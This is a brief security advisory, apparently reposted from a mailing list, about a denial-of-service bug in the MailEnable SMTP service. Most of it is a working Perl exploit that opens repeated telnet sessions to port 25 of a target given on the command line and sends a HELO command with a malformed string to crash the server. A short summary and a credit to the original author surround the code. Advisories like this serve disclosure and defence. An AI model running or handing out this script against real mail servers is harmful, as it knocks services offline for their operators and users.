[EXPL] Mailenable SMTP Service DoS PoC

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Mailenable SMTP Service DoS PoC
------------------------------------------------------------------------


SUMMARY

" <http://www.mailenable.com/> MailEnable's mail server software provides
a powerful, scalable hosted messaging platform for Microsoft Windows."

Improper handling of user input allows attackers to DoS MailEnable.

DETAILS

Exploit:
#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#

use Net::Telnet;

$string = "\0x99";

for ($count = 1; $count <= 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print("helo ", $string, "\n");
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by
<mailto:divisionbyzerodotbe@xxxxxxxxx> db0.
The original article can be found at:
<http://www.divisionbyzero.be/?p=174> http://www.divisionbyzero.be/?p=174



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